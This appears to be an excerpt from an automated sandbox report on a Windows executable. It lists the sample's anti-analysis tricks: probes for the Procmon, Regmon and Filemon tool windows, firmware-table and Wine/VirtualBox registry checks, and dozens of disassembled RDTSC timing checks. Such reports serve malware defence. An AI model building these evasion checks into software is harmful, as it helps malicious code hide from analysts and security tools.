Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED5E3 second address: 4ED5ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FF7B4BE4C36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5447 second address: 4E544D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E544D second address: 4E5459 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 je 00007FF7B4BE4C36h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC5A4 second address: 4EC5CA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FF7B4BDD218h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FF7B4BDD206h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC5CA second address: 4EC5E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF7B4BE4C3Ah 0x00000010 jbe 00007FF7B4BE4C36h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC5E5 second address: 4EC5FE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF7B4BDD213h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC755 second address: 4EC772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF7B4BE4C47h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ECBEE second address: 4ECBF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE972 second address: 4EE976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EEB62 second address: 4EEB6C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF7B4BDD206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EEB6C second address: 4EEB76 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF7B4BE4C3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E9CE second address: 50E9D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E9D2 second address: 50E9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF7B4BE4C45h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E9ED second address: 50EA05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF7B4BDD214h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50EDC6 second address: 50EDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF7B4BE4C46h 0x00000009 popad 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F7C4 second address: 50F801 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD210h 0x00000007 je 00007FF7B4BDD206h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FF7B4BDD211h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF7B4BDD20Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F801 second address: 50F809 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F98A second address: 50F9A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF7B4BDD219h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50FAFC second address: 50FB04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506F4E second address: 506F96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD216h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FF7B4BDD215h 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 jmp 00007FF7B4BDD211h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506F96 second address: 506FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF7B4BE4C36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506FA0 second address: 506FA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50FC50 second address: 50FC6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C42h 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FF7B4BE4C36h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50FC6E second address: 50FC82 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FF7B4BDD21Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50FC82 second address: 50FC86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50FC86 second address: 50FC8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5102B8 second address: 5102BE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5109CE second address: 5109D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51358D second address: 513591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513591 second address: 51359A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51359A second address: 5135A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515FBF second address: 515FCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD20Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515FCD second address: 515FD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515FD3 second address: 515FD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51642C second address: 516430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516430 second address: 516434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514F8D second address: 514FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF7B4BE4C49h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514FAD second address: 514FB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515622 second address: 515632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515632 second address: 515637 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B9FE second address: 51BA04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51BFAD second address: 51BFB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF7B4BDD206h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D703 second address: 51D720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007FF7B4BE4C3Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jbe 00007FF7B4BE4C36h 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D720 second address: 51D736 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF7B4BDD208h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D736 second address: 51D757 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF7B4BE4C45h 0x00000008 jmp 00007FF7B4BE4C3Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D757 second address: 51D761 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF7B4BDD206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D942 second address: 51D94D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF7B4BE4C36h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51DB87 second address: 51DB8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51DC20 second address: 51DC27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E3E0 second address: 51E430 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF7B4BDD208h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d jc 00007FF7B4BDD206h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop ebx 0x00000017 xchg eax, ebx 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007FF7B4BDD208h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FF7B4BDD20Dh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E430 second address: 51E446 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E870 second address: 51E876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E997 second address: 51E99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E99B second address: 51E9EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD218h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF7B4BDD214h 0x0000000e popad 0x0000000f nop 0x00000010 mov esi, dword ptr [ebp+122D38C3h] 0x00000016 xchg eax, ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF7B4BDD219h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E9EF second address: 51E9F9 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF7B4BE4C3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E9F9 second address: 51EA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51EA05 second address: 51EA09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5204C4 second address: 5204CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FF7B4BDD206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5204CE second address: 520562 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF7B4BE4C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f stc 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FF7B4BE4C38h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c cmc 0x0000002d jo 00007FF7B4BE4C50h 0x00000033 call 00007FF7B4BE4C46h 0x00000038 movzx edi, dx 0x0000003b pop esi 0x0000003c push 00000000h 0x0000003e movzx edi, di 0x00000041 xchg eax, ebx 0x00000042 pushad 0x00000043 push edx 0x00000044 jmp 00007FF7B4BE4C48h 0x00000049 pop edx 0x0000004a jnl 00007FF7B4BE4C3Ch 0x00000050 popad 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FF7B4BE4C44h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520E04 second address: 520E0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520CB0 second address: 520CB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520CB4 second address: 520CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 521F4C second address: 521F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52166A second address: 52168B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF7B4BDD20Ch 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c je 00007FF7B4BDD214h 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007FF7B4BDD206h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 521F50 second address: 521F65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522A5A second address: 522AA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD210h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov esi, dword ptr [ebp+122D261Fh] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007FF7B4BDD208h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c jmp 00007FF7B4BDD20Ch 0x00000031 push 00000000h 0x00000033 mov di, si 0x00000036 xchg eax, ebx 0x00000037 push ebx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524048 second address: 524052 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF7B4BE4C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524052 second address: 524068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF7B4BDD212h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523D74 second address: 523D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524068 second address: 52406C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524B35 second address: 524B3B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525577 second address: 5255BD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FF7B4BDD208h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov dword ptr [ebp+122D3279h], ebx 0x0000002c push 00000000h 0x0000002e xor dword ptr [ebp+122D2F47h], edi 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 pushad 0x00000039 popad 0x0000003a push ebx 0x0000003b pop ebx 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52719F second address: 5271A4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525DE3 second address: 525DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525DE9 second address: 525DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525DED second address: 525E05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF7B4BDD20Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525E05 second address: 525E0B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7EA4 second address: 4D7EC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FF7B4BDD212h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7EC3 second address: 4D7EE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF7B4BE4C48h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7EE0 second address: 4D7EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C020 second address: 52C025 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C64D second address: 52C651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C651 second address: 52C657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C78F second address: 52C863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD210h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, dword ptr [ebp+124600EEh] 0x00000010 jns 00007FF7B4BDD21Dh 0x00000016 jmp 00007FF7B4BDD217h 0x0000001b push dword ptr fs:[00000000h] 0x00000022 pushad 0x00000023 movzx eax, si 0x00000026 mov ax, D6A8h 0x0000002a popad 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 mov eax, dword ptr [ebp+122D0209h] 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007FF7B4BDD208h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 mov edi, dword ptr [ebp+122D2067h] 0x00000058 mov ebx, dword ptr [ebp+122D1DEEh] 0x0000005e push FFFFFFFFh 0x00000060 push 00000000h 0x00000062 push ebp 0x00000063 call 00007FF7B4BDD208h 0x00000068 pop ebp 0x00000069 mov dword ptr [esp+04h], ebp 0x0000006d add dword ptr [esp+04h], 00000015h 0x00000075 inc ebp 0x00000076 push ebp 0x00000077 ret 0x00000078 pop ebp 0x00000079 ret 0x0000007a jmp 00007FF7B4BDD217h 0x0000007f push eax 0x00000080 pushad 0x00000081 jmp 00007FF7B4BDD218h 0x00000086 push eax 0x00000087 push eax 0x00000088 push edx 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D79C second address: 52D7A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
